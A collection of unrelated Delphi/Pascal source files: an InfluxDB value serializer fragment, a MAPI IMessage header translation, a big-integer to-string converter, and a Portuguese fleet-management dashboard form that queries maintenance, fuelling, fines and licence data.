SetLength(Tags, Result +1);
Tags[Result] := Val;
end;
function TInfluxValue.AsString: String;
var
ATag: TPair<String, String>;
AField: TPair<String, TValue>;
Val, S: String;
begin
Result := Measurement;
for ATag in Tags do
Result := Result + ',' + ATag.Key + '=' + ATag.Value;
Result := Result + ' ';
S := '';
for AField in Fields do
begin
if AField.Value.Kind in [tkInteger, tkInt64, tkFloat, tkEnumeration] then
Val := AField.Key + '=' + AField.Value.ToString
else
Val := AField.Key + '=' + AField.Value.ToString.QuotedString('"');
S := IfThen(S = '', Val, String.Join(',', [S, Val]));
end;
Result := Result + S;
if TimeStamp > 0 then
begin
Result := Result + ' ' + System.DateUtils.DateTimeToUnix(TimeStamp).ToString;
end;
end;
constructor TInfluxValue.Create(AMeasurement: String; ATimeStamp: TDateTime);
begin
SetLength(Tags, 0);
SetLength(Fields, 0);
Measurement := AMeasurement;
TimeStamp := ATimeStamp;
end;
{ TResultRecord }
function TResultRecord.Count: Integer;
begin
Result := Length(Columns);
end;
{ TResultSerie }
function TResultSerie.Count: Integer;
begin
Result := Length(Values);
end;
constructor TResultSerie.Create;
begin
SetLength(Columns, 0);
SetLength(Values, 0);
end;
end.
|
{++
i m e s s a g e . p a s
Abstract:
Automatic conversion of imessage.h.
Comments:
This source file automatically converted by
htrans 0.91 beta 1 Copyright (c) 1997 Alexander Staubo
Revision history:
18-06-1997 20:53 alex [Autogenerated]
18-06-1997 20:53 alex Retouched for release
--}
unit IMessage;
{$A+}
{$MINENUMSIZE 4}
interface
uses
Windows, SysUtils, ActiveX,
MapiDefs;
(*
* I M E S S A G E . H
*
* External definitions for MAPI's IMessage-on-IStorage facility
*
* Copyright 1986-1996 Microsoft Corporation. All Rights Reserved.
*)
type
PMSGSESS = Pointer;
{ Typedef of optional callback routine to be called on last release of
* top-level messages opened with OpenIMsgOnIStg
}
type
TMSGCALLRELEASE = procedure (ulCallerData : ULONG;
lpMessage : MapiDefs.IMessage); stdcall;
{ DLL Entry Points (found in mapiu.dll) }
(* OpenIMsgSession
* CloseIMsgSession
*
* These entry points allow the caller to "wrap" the creation of messages
* inside a session, so that when the session is closed, all messages
* created within that session are closed as well. Use of IMSG sessions
* is optional. If OpenIMsgOnIStg is called with a NULL for the lpmsgsess
* parameter, the message is created independent of any session, and has
* no way to be shutdown. If the caller forgets to release the message, or
* to release open tables within the message, the memory will be leaked until
* the external application terminates.
*)
function OpenIMsgSession (
lpMalloc : IMalloc; { -> Co malloc object }
ulFlags : ULONG; { reserved. Must be zero. }
var lppMsgSess : PMSGSESS) : SCODE; stdcall; { <- message session object }
procedure CloseIMsgSession (
lpMsgSess : PMSGSESS); stdcall; { -> message session object }
(* OpenIMsgOnIStg - Main entry point
*
* NOTE 1: The IStg must be opened with STGM_TRANSACTED if STGM_READWRITE
* is specified. Since messages don't support a write only mode, IMessage
* doesn't allow a storage object opened in write only mode. If the storage
* is opened STGM_READ, then STGM_TRANSACTED is NOT required.
*
* NOTE 2: The lpMapiSup parameter is optional. If supplied then IMessage
* will support the MAPI_DIALOG and ATTACH_DIALOG flags (by calling
* support method: DoMCDialog) on CopyTo and DeleteAttach methods.
* If lpMapiSup is not supplied (i.e. passed 0) then dialog flags will be
* ignored. If supplied then ModifyRecipients will attempt to convert
* short term entryids to long term entryids (by calling support method
* OpenAddressBook and calls on the returned object). If not supplied
* then short term entryid's will be stored without conversion.
*
* NOTE 3: The lpfMsgCallRelease parameter is optional. If supplied then
* IMessage will call the routine when the last release on (the toplevel only)
* message is called. It is intended to allow the callee to free the IStorage
* that contains the message. IMessage will not use the IStorage object after
* making this call.
*
* NOTE 4: Behavior of multiple opens of sub-objects (Attachments, Streams,
* Storages, Messages, etc.) within a message is deliberately undefined in
* MAPI. This implementation allows them, but will do it by AddRef'ing the
* existing open and returning it to the caller of OpenAttachment or
* OpenProperty. This means that whatever access mode the first open on a
* specific Attachment or Property had is what all others will get regardless
* of what the subsequent opens asked for.
*
* NOTE 5: There is currently one flag defined for use with the ulFlags
* parameter. The IMSG_NO_ISTG_COMMIT flag controls whether the commit
* method of IStorage is called when the client calls SaveChanges on the
* IMessage object. Some clients of IMessage may wish to commit the IStorage
* themselves after writing additional data to the storage (beyond what
* IMessage itself writes). To aid in this, the IMessage implementation
* guarantees to name all sub-storages starting with "__". Therefore,
* if the client keeps its names out of that namespace, there will be no
* accidental collisions.
*
* WARNING:
*
* This implementation of IMessage will support OpenProperty w/MAPI_CREATE
* where the source interface is IID_IStorage if the property id is
* 'PR_ATTACH_DATA'. Once this has been done, the caller has an IStorage
* interface on this property. This is ok and should allow for
* easier implementation of OLE 2.0 Server functionality. However, if you
* pass in the new IStorage ptr (to the attachment data) through the
* OpenIMsgOnIStg entry point and then proceed to release things in the
* wrong order we will make no attempt to behave in a predictable fashion.
* Keep in mind that the correct method for placing a message into an
* attachment is to call OpenProperty where the source interface is
* IID_IMessage. The IStorage interface is supported to allow an easy way
* to stick a WWord doc. into an attachment w/o converting to/from IStream.
*
*)
function OpenIMsgOnIStg (
lpMsgSess : PMSGSESS; { -> message session obj (optional) }
lpAllocateBuffer : PALLOCATEBUFFER; { -> AllocateBuffer memory routine }
lpAllocateMore : PALLOCATEMORE; { -> AllocateMore memory routine }
lpFreeBuffer : PFREEBUFFER; { -> FreeBuffer memory routine }
lpMalloc : IMalloc; { -> Co malloc object }
lpMapiSup : Pointer; { -> MAPI Support Obj (optional) }
lpStg : IStorage; { -> open IStorage containing msg }
var lpfMsgCallRelease : TMSGCALLRELEASE;
{ -> release callback rtn (opt) }
ulCallerData : ULONG; { caller data returned in callback }
ulFlags : ULONG; { -> flags (controls istg commit) }
out lppMsg : MapiDefs.IMessage) : SCODE; stdcall;
{ <- open message object }
const
IMSG_NO_ISTG_COMMIT = (ULONG($00000001));
{ NOTE: Property Attributes are specific to this IMessage on IStorage }
{ implementation and are not a part of standard MAPI 1.0 property methods }
{ Property Attributes }
const
PROPATTR_MANDATORY = (ULONG($00000001));
PROPATTR_READABLE = (ULONG($00000002));
PROPATTR_WRITEABLE = (ULONG($00000004));
PROPATTR_NOT_PRESENT = (ULONG($00000008));
{ Attribute Array }
type
TSPropAttrArray =
record
cValues : ULONG;
aPropAttr : array[0..MAPI_DIM - 1] of ULONG;
end;
PSPropAttrArray = ^TSPropAttrArray;
(* GetAttribIMsgOnIStg - To get attributes on properties
*
* This call is provided because there is no method of IMAPIPropSet to allow
* getting attributes.
*)
function GetAttribIMsgOnIStg (lpObject : Pointer;
lpPropTagArray : PSPropTagArray;
var lppPropAttrArray : PSPropAttrArray) : HResult; stdcall;
(* SetAttribIMsgOnIStg - To set attributes on properties
*
* This call is provided because there is no method of IMAPIPropSet to allow
* setting of attributes.
*)
function SetAttribIMsgOnIStg (lpObject : Pointer;
lpPropTags : PSPropTagArray; lpPropAttrs : PSPropAttrArray;
var lppPropProblems : PSPropProblemArray) : HResult; stdcall;
(* MapStorageSCode - To map an IStorage hResult to a MAPI sCode value
*
* This call is provided for the internal use of PDK components that base
* their message implementations on IMessage. Since these components must
* open the storage themselves, there is a common need to map OLE 2.0
* Storage error returns to MAPI sCodes.
*
* WARNING: There is no guarantee that this entry point will exist in
* shipped versions of mapiu.dll.
*)
function MapStorageSCode (StgSCode : SCODE) : SCODE; stdcall;
implementation
const
Mapi32Dll = 'mapi32.dll';
{!! Note: Entry points have been verified with release versions of
Windows NT 4.0 and Windows 95 }
function OpenIMsgSession; external Mapi32Dll name 'OpenIMsgSession@12' delayed;
procedure CloseIMsgSession; external Mapi32Dll name 'CloseIMsgSession@4' delayed;
function OpenIMsgOnIStg; external Mapi32Dll name 'OpenIMsgOnIStg@44' delayed;
function GetAttribIMsgOnIStg; external Mapi32Dll name 'GetAttribIMsgOnIStg@12' delayed;
function SetAttribIMsgOnIStg; external Mapi32Dll name 'SetAttribIMsgOnIStg@16' delayed;
function MapStorageSCode; external Mapi32Dll name 'MapStorageSCode@4' delayed;
end.
|
unit uStringConverterBase;
{$I ..\Include\IntXLib.inc}
interface
uses
Math,
SysUtils,
uIStringConverter,
uStrings,
uConstants,
uXBits,
uIntX,
uIntXLibTypes;
type
/// <summary>
/// Base class for ToString converters.
/// Contains default implementations of convert operation over <see cref="TIntX" /> instances.
/// </summary>
TStringConverterBase = class abstract(TInterfacedObject, IIStringConverter)
private
/// <summary>
/// Converter for Pow2 Case.
/// </summary>
F_pow2StringConverter: IIStringConverter;
public
/// <summary>
/// Creates new <see cref="StringConverterBase" /> instance.
/// </summary>
/// <param name="pow2StringConverter">Converter for pow2 case.</param>
constructor Create(pow2StringConverter: IIStringConverter);
/// <summary>
/// Destructor.
/// </summary>
destructor Destroy(); override;
/// <summary>
/// Returns string representation of <see cref="TIntX" /> object in given base.
/// </summary>
/// <param name="IntX">Big integer to convert.</param>
/// <param name="numberBase">Base of system in which to do output.</param>
/// <param name="alphabet">Alphabet which contains chars used to represent big integer, char position is coresponding digit value.</param>
/// <returns>Object string representation.</returns>
/// <exception cref="EArgumentException"><paramref name="numberBase" /> is less then 2 or <paramref name="IntX" /> is too big to fit in string.</exception>
function ToString(IntX: TIntX; numberBase: UInt32;
alphabet: TIntXLibCharArray): String; reintroduce; overload; virtual;
/// <summary>
/// Converts digits from internal representaion into given base.
/// </summary>
/// <param name="digits">Big integer digits.</param>
/// <param name="mlength">Big integer length.</param>
/// <param name="numberBase">Base to use for output.</param>
/// <param name="outputLength">Calculated output length (will be corrected inside).</param>
/// <returns>Conversion result (later will be transformed to string).</returns>
function ToString(digits: TIntXLibUInt32Array; mlength: UInt32;
numberBase: UInt32; var outputLength: UInt32): TIntXLibUInt32Array;
reintroduce; overload; virtual;
end;
implementation
constructor TStringConverterBase.Create(pow2StringConverter: IIStringConverter);
begin
inherited Create;
F_pow2StringConverter := pow2StringConverter;
end;
destructor TStringConverterBase.Destroy();
begin
F_pow2StringConverter := Nil;
inherited Destroy;
end;
function TStringConverterBase.ToString(IntX: TIntX; numberBase: UInt32;
alphabet: TIntXLibCharArray): String;
var
outputLength, i, lengthCoef: UInt32;
isBigBase: Boolean;
maxBuilderLength: UInt64;
outputArray: TIntXLibUInt32Array;
{$IFDEF DELPHI}
outputBuilder: TStringBuilder;
{$ENDIF DELPHI}
{$IFDEF FPC}
outputBuilder: String;
Idx, aCount: UInt32;
{$ENDIF FPC}
begin
// Test base
if ((numberBase < 2) or (numberBase > 65536)) then
begin
raise EArgumentException.Create(uStrings.ToStringSmallBase + ' numberBase');
end;
// Special processing for zero values
if (IntX._length = 0) then
begin
result := '0';
Exit;
end;
// Calculate output array length
outputLength := UInt32(Ceil(TConstants.DigitBaseLog / Ln(numberBase) *
IntX._length));
// Define length coefficient for string builder
isBigBase := numberBase > UInt32(Length(alphabet));
if isBigBase then
lengthCoef := UInt32(Ceil(Log10(numberBase))) + UInt32(2)
else
begin
lengthCoef := UInt32(1);
end;
// Determine maximal possible length of string
maxBuilderLength := UInt64(outputLength) * lengthCoef + UInt64(1);
if (maxBuilderLength > TConstants.MaxIntValue) then
begin
// This big integer can't be transformed to string
raise EArgumentException.Create(uStrings.IntegerTooBig + ' IntX');
end;
// Transform digits into another base
outputArray := ToString(IntX._digits, IntX._length, numberBase, outputLength);
// Output everything to the string builder or string
{$IFDEF DELPHI}
outputBuilder := TStringBuilder.Create
(Integer(outputLength * lengthCoef + 1));
{$ENDIF DELPHI}
{$IFDEF FPC}
SetLength(outputBuilder, Integer(outputLength * lengthCoef + 1));
Idx := 1; // Lower Index of Pascal String.
aCount := 0;
{$ENDIF FPC}
{$IFDEF DELPHI}
try
{$ENDIF DELPHI}
// Maybe append minus sign
if (IntX._negative) then
begin
{$IFDEF DELPHI}
outputBuilder.Append(TConstants.DigitsMinusChar);
{$ENDIF DELPHI}
{$IFDEF FPC}
outputBuilder[Idx] := (TConstants.DigitsMinusChar);
Inc(Idx);
Inc(aCount);
{$ENDIF FPC}
end;
i := outputLength - 1;
while i < (outputLength) do
begin
if (not isBigBase) then
begin
// Output char-by-char for bases up to covered by alphabet
{$IFDEF DELPHI}
outputBuilder.Append(alphabet[Integer(outputArray[i])]);
{$ENDIF DELPHI}
{$IFDEF FPC}
outputBuilder[Idx] := alphabet[Integer(outputArray[i])];
Inc(aCount);
{$ENDIF FPC}
end
else
begin
// Output digits in brackets for bigger bases
{$IFDEF DELPHI}
outputBuilder.Append(TConstants.DigitOpeningBracket);
outputBuilder.Append(UInttoStr(outputArray[i]));
outputBuilder.Append(TConstants.DigitClosingBracket);
{$ENDIF DELPHI}
{$IFDEF FPC}
outputBuilder[Idx] := TConstants.DigitOpeningBracket;
Inc(Idx);
outputBuilder[Idx] := IntToStr(outputArray[i])[1];
// [1] means get first char in returned string.
Inc(Idx);
outputBuilder[Idx] := TConstants.DigitClosingBracket;
Inc(aCount, 3);
{$ENDIF FPC}
end;
Dec(i);
{$IFDEF FPC}
Inc(Idx);
{$ENDIF FPC}
end;
// Output all digits
{$IFDEF DELPHI}
result := outputBuilder.ToString();
{$ENDIF DELPHI}
{$IFDEF FPC}
SetLength(outputBuilder, aCount);
result := outputBuilder;
{$ENDIF FPC}
{$IFDEF DELPHI}
finally
outputBuilder.Free;
end;
{$ENDIF DELPHI}
end;
function TStringConverterBase.ToString(digits: TIntXLibUInt32Array;
mlength: UInt32; numberBase: UInt32; var outputLength: UInt32)
: TIntXLibUInt32Array;
begin
// Default implementation - always call pow2 converter if numberBase is pow of 2
if numberBase = UInt32(1) shl TBits.Msb(numberBase) then
begin
result := F_pow2StringConverter.ToString(digits, mlength, numberBase,
outputLength)
end
else
begin
result := Nil;
end;
end;
end.
|
unit UResumoGeral;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Gauges, StdCtrls, ExtCtrls, DB, DBClient, Provider, IBCustomDataSet,
IBQuery;
type
TFResumoGeral = class(TForm)
pnl1: TPanel;
lblDQtdManut: TLabel;
pnl3: TPanel;
lblDQtdAbastcAbe: TLabel;
pnl5: TPanel;
lblDQtdIndentCondut: TLabel;
pnl7: TPanel;
lblDQtdCnhVenc: TLabel;
pnlLogMonitoramento: TPanel;
lblDQtdLogMonit: TLabel;
lblQtdManut: TLabel;
lblQtdAbastcAbe: TLabel;
lblQtdIndentCondut: TLabel;
lblQtdCnhVenc: TLabel;
lblQtdLogMonit: TLabel;
ConsAbastecimentosAberto: TIBQuery;
ConsAbastecimentosAbertoSEQENTSAI: TIntegerField;
ConsAbastecimentosAbertoCODVEI: TIntegerField;
ConsAbastecimentosAbertoUSUENT: TIntegerField;
ConsAbastecimentosAbertoUSUSAIDA: TIntegerField;
ConsAbastecimentosAbertoCODMOT: TIntegerField;
ConsAbastecimentosAbertoDATSAIDA: TDateField;
ConsAbastecimentosAbertoHORSAIDA: TTimeField;
ConsAbastecimentosAbertoKMSAIDA: TIntegerField;
ConsAbastecimentosAbertoDATENT: TDateField;
ConsAbastecimentosAbertoHORENT: TTimeField;
ConsAbastecimentosAbertoKMENT: TIntegerField;
ConsAbastecimentosAbertoDESTINO: TIBStringField;
ConsAbastecimentosAbertoCARGA: TIntegerField;
ConsAbastecimentosAbertoCODCARRETA: TIntegerField;
ConsAbastecimentosAbertoIN_ENGATADO: TIBStringField;
ConsAbastecimentosAbertoQTD_COMB: TFloatField;
ConsAbastecimentosAbertoDAT_ABASTEC: TDateField;
ConsAbastecimentosAbertoMEDIA_CONS: TFloatField;
ConsAbastecimentosAbertoITESEL: TIBStringField;
ConsAbastecimentosAbertoPLAVEI: TIBStringField;
ConsAbastecimentosAbertoDESVEI: TIBStringField;
ConsAbastecimentosAbertoKMATU: TIntegerField;
ConsAbastecimentosAbertoNOMMOT: TIBStringField;
ConsAbastecimentosAbertoAPEMOT: TIBStringField;
ConsAbastecimentosAbertoFOTO: TIBStringField;
ConsAbastecimentosAbertoUSUARIO_SAIDA: TIBStringField;
ConsAbastecimentosAbertoPLAVEI_CARRETA: TIBStringField;
ProviderConsAbastecimentosAberto: TDataSetProvider;
ClientConsAbastecimentosAberto: TClientDataSet;
ClientConsAbastecimentosAbertoSEQENTSAI: TIntegerField;
ClientConsAbastecimentosAbertoCODVEI: TIntegerField;
ClientConsAbastecimentosAbertoUSUENT: TIntegerField;
ClientConsAbastecimentosAbertoUSUSAIDA: TIntegerField;
ClientConsAbastecimentosAbertoCODMOT: TIntegerField;
ClientConsAbastecimentosAbertoDATSAIDA: TDateField;
ClientConsAbastecimentosAbertoHORSAIDA: TTimeField;
ClientConsAbastecimentosAbertoKMSAIDA: TIntegerField;
ClientConsAbastecimentosAbertoDATENT: TDateField;
ClientConsAbastecimentosAbertoHORENT: TTimeField;
ClientConsAbastecimentosAbertoKMENT: TIntegerField;
ClientConsAbastecimentosAbertoDESTINO: TWideStringField;
ClientConsAbastecimentosAbertoCARGA: TIntegerField;
ClientConsAbastecimentosAbertoCODCARRETA: TIntegerField;
ClientConsAbastecimentosAbertoIN_ENGATADO: TWideStringField;
ClientConsAbastecimentosAbertoQTD_COMB: TFloatField;
ClientConsAbastecimentosAbertoDAT_ABASTEC: TDateField;
ClientConsAbastecimentosAbertoMEDIA_CONS: TFloatField;
ClientConsAbastecimentosAbertoITESEL: TWideStringField;
ClientConsAbastecimentosAbertoPLAVEI: TWideStringField;
ClientConsAbastecimentosAbertoDESVEI: TWideStringField;
ClientConsAbastecimentosAbertoKMATU: TIntegerField;
ClientConsAbastecimentosAbertoNOMMOT: TWideStringField;
ClientConsAbastecimentosAbertoAPEMOT: TWideStringField;
ClientConsAbastecimentosAbertoFOTO: TWideStringField;
ClientConsAbastecimentosAbertoUSUARIO_SAIDA: TWideStringField;
ClientConsAbastecimentosAbertoPLAVEI_CARRETA: TWideStringField;
ClientConsAbastecimentosAbertovnTotalRodado: TIntegerField;
ClientConsAbastecimentosAbertovaIteSel: TStringField;
ClientConsAbastecimentosAbertovnKmSelecionado: TIntegerField;
ClientConsAbastecimentosAbertoTotalKmSel: TAggregateField;
pnl2: TPanel;
lblDNivelComb: TLabel;
Tanque: TGauge;
pnlEntradasObservacoes: TPanel;
lblDQtdEntradaObsMot: TLabel;
lblQtdEntradaObsMot: TLabel;
procedure FormKeyPress(Sender: TObject; var Key: Char);
procedure FormShow(Sender: TObject);
procedure lblDQtdCnhVencClick(Sender: TObject);
procedure lblDQtdAbastcAbeClick(Sender: TObject);
procedure lblDQtdManutClick(Sender: TObject);
procedure lblDQtdIndentCondutClick(Sender: TObject);
procedure lblDQtdLogMonitClick(Sender: TObject);
procedure lblDNivelCombClick(Sender: TObject);
procedure lblDQtdEntradaObsMotClick(Sender: TObject);
private
{ Private declarations }
vnQtdManut : Integer;
vnQtdAbastcAbe : Integer;
vnQtdIndentCondut : Integer;
vnQtdCnhVenc : Integer;
vnQtdLogMonit : Integer;
vnNivelComb : Double;
vnQtdEntradaObsMot : Integer;
public
{ Public declarations }
end;
var
FResumoGeral: TFResumoGeral;
implementation
uses UDmFire, UVencimentoCNH, UAbastecimento_Viagem,
URelacaoManutencoesPeriodicas, UInfracoesIdentificar,
ULogMonitoramentoVeiculos, UTanqueCombustivel, UEntradaVeicObsMot;
{$R *.dfm}
procedure TFResumoGeral.FormKeyPress(Sender: TObject; var Key: Char);
begin
if key = #13 then
begin
key := #0;
Perform (Wm_NextDlgCtl,0,0);
end;
if Key = #27 then
begin
Close;
end;
end;
procedure TFResumoGeral.FormShow(Sender: TObject);
begin
{*****************************************
REALIZA AS CONSULTAS
******************************************}
{*************************************************************
manutenções periódicas À VENCER/VENCIDAS com Veículo no pátio
**************************************************************}
DmFire.ClientRelacaoManutPeriodicas.Close;
DmFire.RelacaoManutPeriodicas.Close;
DmFire.RelacaoManutPeriodicas.SQL.Clear;
DmFire.RelacaoManutPeriodicas.SQL.Add(' SELECT MANUT_SERV.*,MANUT_GER.*,');
DmFire.RelacaoManutPeriodicas.SQL.Add(' VEICULO.PLAVEI,VEICULO.DESVEI,VEICULO.KMATU,VEICULO.TIPO,VEICULO.LOCALVEI,');
DmFire.RelacaoManutPeriodicas.SQL.Add(' USUARIO.NOMUSU,');
DmFire.RelacaoManutPeriodicas.SQL.Add(' FORNECEDOR.*,');
DmFire.RelacaoManutPeriodicas.SQL.Add(' SERVICO.*');
DmFire.RelacaoManutPeriodicas.SQL.Add(' FROM MANUT_SERV');
DmFire.RelacaoManutPeriodicas.SQL.Add(' INNER JOIN MANUT_GER ON MANUT_GER.CODMAN = MANUT_SERV.CODMAN AND');
DmFire.RelacaoManutPeriodicas.SQL.Add(' MANUT_GER.CODVEI = MANUT_SERV.CODVEI');
DmFire.RelacaoManutPeriodicas.SQL.Add(' INNER JOIN VEICULO ON VEICULO.CODVEI = MANUT_GER.CODVEI');
DmFire.RelacaoManutPeriodicas.SQL.Add(' INNER JOIN USUARIO ON USUARIO.CODUSU = MANUT_GER.CODUSU');
DmFire.RelacaoManutPeriodicas.SQL.Add(' INNER JOIN FORNECEDOR ON FORNECEDOR.CODFOR = MANUT_GER.CODFOR');
DmFire.RelacaoManutPeriodicas.SQL.Add(' INNER JOIN SERVICO ON SERVICO.CODSER = MANUT_SERV.CODSER');
DmFire.RelacaoManutPeriodicas.SQL.Add(' WHERE');
DmFire.RelacaoManutPeriodicas.SQL.Add(' MANUT_SERV.codvei <> 999999');
DmFire.RelacaoManutPeriodicas.SQL.Add(' AND MANUT_SERV.TIPSER IN (''PERIODICO'',''REVISAO'')');
DmFire.RelacaoManutPeriodicas.SQL.Add(' AND MANUT_SERV.SITSER = ''ABERTO''');
DmFire.RelacaoManutPeriodicas.SQL.Add(' AND VEICULO.LOCALVEI = ''PATIO''');
DmFire.RelacaoManutPeriodicas.Open;
DmFire.ClientRelacaoManutPeriodicas.Open;
DmFire.ClientRelacaoManutPeriodicas.IndexFieldNames := 'PLAVEI;vnKmRestante';
//PEGA APENAS OS VENCIDOS
DmFire.ClientRelacaoManutPeriodicas.First;
while not DmFire.ClientRelacaoManutPeriodicas.Eof do
begin
if ((DmFire.ClientRelacaoManutPeriodicasvnKmRestante.AsInteger > 2500) or (DmFire.ClientRelacaoManutPeriodicasvnKmRestante.AsInteger = 0))
and ((DmFire.ClientRelacaoManutPeriodicasvnDiasRestante.AsInteger > 10) or (DateToStr(DmFire.ClientRelacaoManutPeriodicasDATVCT.Value) = '30/12/1899')) then
begin
DmFire.ClientRelacaoManutPeriodicas.Delete;
end
else
begin
DmFire.ClientRelacaoManutPeriodicas.Next;
end;
end;
DmFire.ClientRelacaoManutPeriodicas.First;
vnQtdManut := DmFire.ClientRelacaoManutPeriodicas.RecordCount;
lblQtdManut.Caption := IntToStr(vnQtdManut);
{********************************************
ABASTECIMENTOS EM ABERTO
*********************************************}
ClientConsAbastecimentosAberto.Close;
ConsAbastecimentosAberto.Close;
ConsAbastecimentosAberto.SQL.Clear;
ConsAbastecimentosAberto.SQL.Add('SELECT ENTRADA_SAIDA.*,');
ConsAbastecimentosAberto.SQL.Add(' VEICULO.PLAVEI,VEICULO.DESVEI,VEICULO.KMATU,');
ConsAbastecimentosAberto.SQL.Add(' MOTORISTA.NOMMOT,MOTORISTA.APEMOT,MOTORISTA.FOTO,');
ConsAbastecimentosAberto.SQL.Add(' USUARIO_SAI.NOMUSU AS USUARIO_SAIDA,');
ConsAbastecimentosAberto.SQL.Add(' CARRETA.PLAVEI AS PLAVEI_CARRETA');
ConsAbastecimentosAberto.SQL.Add(' FROM ENTRADA_SAIDA');
ConsAbastecimentosAberto.SQL.Add(' INNER JOIN VEICULO ON VEICULO.CODVEI = ENTRADA_SAIDA.CODVEI');
ConsAbastecimentosAberto.SQL.Add(' INNER JOIN MOTORISTA ON MOTORISTA.CODMOT = ENTRADA_SAIDA.CODMOT');
ConsAbastecimentosAberto.SQL.Add(' INNER JOIN USUARIO USUARIO_SAI ON USUARIO_SAI.CODUSU = ENTRADA_SAIDA.USUSAIDA');
ConsAbastecimentosAberto.SQL.Add(' LEFT JOIN VEICULO CARRETA ON CARRETA.CODVEI = ENTRaDA_SAIDA.CODCARRETA');
ConsAbastecimentosAberto.SQL.Add(' WHERE');
ConsAbastecimentosAberto.SQL.Add(' ((ENTRADA_SAIDA.KMSAIDA > 0) and (ENTRADA_SAIDA.KMENT > 0)) and');
ConsAbastecimentosAberto.SQL.Add(' ENTRADA_SAIDA.QTD_COMB = 0');
ConsAbastecimentosAberto.SQL.Add(' AND VEICULO.TIPO IN (''TRUCK'',''CAVALO'')');
ConsAbastecimentosAberto.SQL.Add(' ORDER BY ENTRADA_SAIDA.DATENT,ENTRADA_SAIDA.HORENT');
ConsAbastecimentosAberto.Open;
ClientConsAbastecimentosAberto.Open;
ClientConsAbastecimentosAberto.Last;
ClientConsAbastecimentosAberto.First;
vnQtdAbastcAbe := ClientConsAbastecimentosAberto.RecordCount;
lblQtdAbastcAbe.Caption := IntToStr(vnQtdAbastcAbe);
{**********************************************
IDENTIFICAÇÃO DE CONDUTORES EM ABERTO
***********************************************}
DmFire.ClientConsInfracoesMov.Close;
DmFire.ConsInfracoesMov.Close;
DmFire.ConsInfracoesMov.SQL.Clear;
DmFire.ConsInfracoesMov.SQL.Add('SELECT infracoes_mov.*,infracoes_cad.*,');
DmFire.ConsInfracoesMov.SQL.Add(' motorista.nommot,motorista.foto,motorista.localmot,');
DmFire.ConsInfracoesMov.SQL.Add(' veiculo.desvei,veiculo.plavei,veiculo.kmatu,veiculo.localvei,');
DmFire.ConsInfracoesMov.SQL.Add(' usuario.nomusu');
DmFire.ConsInfracoesMov.SQL.Add(' FROM infracoes_mov');
DmFire.ConsInfracoesMov.SQL.Add(' INNER JOIN infracoes_cad ON infracoes_cad.codinfra = infracoes_mov.codinfra');
DmFire.ConsInfracoesMov.SQL.Add(' INNER JOIN motorista ON motorista.codmot = infracoes_mov.codmot');
DmFire.ConsInfracoesMov.SQL.Add(' INNER JOIN veiculo ON veiculo.codvei = infracoes_mov.codvei');
DmFire.ConsInfracoesMov.SQL.Add(' INNER JOIN usuario ON usuario.codusu = infracoes_mov.codusu');
DmFire.ConsInfracoesMov.SQL.Add(' WHERE');
DmFire.ConsInfracoesMov.SQL.Add(' veiculo.codvei <> 999999'); //so para deixar adicionado o WHERE
DmFire.ConsInfracoesMov.SQL.Add(' AND infracoes_mov.in_condutor = ''NAO'' ');
DmFire.ConsInfracoesMov.SQL.Add(' AND ((infracoes_mov.condutor_conf = ''NAO'') or (infracoes_mov.envio_conf = ''NAO''))');
DmFire.ConsInfracoesMov.SQL.Add(' ');
DmFire.ConsInfracoesMov.Open;
DmFire.ClientConsInfracoesMov.Open;
DmFire.ClientConsInfracoesMov.IndexFieldNames := 'vnQtdDiasIdentCondut';
DmFire.ClientConsInfracoesMov.Last;
DmFire.ClientConsInfracoesMov.First;
vnQtdIndentCondut := DmFire.ClientConsInfracoesMov.RecordCount;
lblQtdIndentCondut.Caption := IntToStr(vnQtdIndentCondut);
{**************************************************
CNH VENCENDO/VENCIDA
***************************************************}
DmFire.ConsVencimentoCNH.Close;
DmFire.ConsVencimentoCNH.Open;
DmFire.ConsVencimentoCNH.First;
vnQtdCnhVenc := 0;
while NOT DmFire.ConsVencimentoCNH.Eof do
begin
if DmFire.ConsVencimentoCNHvnQtdDias.AsInteger <= 30 then
vnQtdCnhVenc := vnQtdCnhVenc + 1;
DmFire.ConsVencimentoCNH.Next;
end;
lblQtdCnhVenc.Caption := IntToStr(vnQtdCnhVenc);
{**********************************************
CONSULTA O LOG DE MONITORAMENTO DE VEICULOS
***********************************************}
DmFire.ConsLogMonitoramento.Close;
DmFire.ConsLogMonitoramento.Open;
if DmFire.ConsLogMonitoramento.IsEmpty then
begin
vnQtdLogMonit := 0;
end
else
begin
DmFire.ConsLogMonitoramento.Last;
DmFire.ConsLogMonitoramento.First;
vnQtdLogMonit := DmFire.ConsLogMonitoramento.RecordCount;
end;
lblQtdLogMonit.Caption := IntToStr(vnQtdLogMonit);
{****************************************************
TANQUE DE COMBUSTIVEL
*****************************************************}
DmFire.CadTanque_Comb.Close;
DmFire.CadTanque_Comb.ParamByName('CODTAN').Value := 1;
DmFire.CadTanque_Comb.Open;
vnNivelComb := DmFire.CadTanque_CombNIVEL.Value;
Tanque.MaxValue := DmFire.CadTanque_CombNIVEL_MAX.AsInteger;
Tanque.Progress := DmFire.CadTanque_CombNIVEL.AsInteger;
if DmFire.CadTanque_CombNIVEL.Value > DmFire.CadTanque_CombNIVEL_MIN.Value then
begin
Tanque.ForeColor := clLime;
end
else
begin
Tanque.ForeColor := clRed;
end;
{******************************************************
ENTRADA DE VEICULOS COM OBSERVACOES DOS MOTORISTAS
*******************************************************}
DmFire.RelacaoEntradaSaida.Close;
DmFire.RelacaoEntradaSaida.SQL.Clear;
DmFire.RelacaoEntradaSaida.SQL.Add('SELECT ENTRADA_SAIDA.*,');
DmFire.RelacaoEntradaSaida.SQL.Add(' VEICULO.PLAVEI,VEICULO.DESVEI,VEICULO.KMATU,');
DmFire.RelacaoEntradaSaida.SQL.Add(' MOTORISTA.NOMMOT,MOTORISTA.APEMOT,MOTORISTA.FOTO,');
DmFire.RelacaoEntradaSaida.SQL.Add(' USUARIO_SAI.NOMUSU AS USUARIO_SAIDA,');
DmFire.RelacaoEntradaSaida.SQL.Add(' USUARIO_ENT.NOMUSU AS USUARIO_ENT,');
DmFire.RelacaoEntradaSaida.SQL.Add(' CARRETA.PLAVEI AS PLAVEI_CARRETA');
DmFire.RelacaoEntradaSaida.SQL.Add(' FROM ENTRADA_SAIDA');
DmFire.RelacaoEntradaSaida.SQL.Add(' INNER JOIN VEICULO ON VEICULO.CODVEI = ENTRADA_SAIDA.CODVEI');
DmFire.RelacaoEntradaSaida.SQL.Add(' INNER JOIN MOTORISTA ON MOTORISTA.CODMOT = ENTRADA_SAIDA.CODMOT');
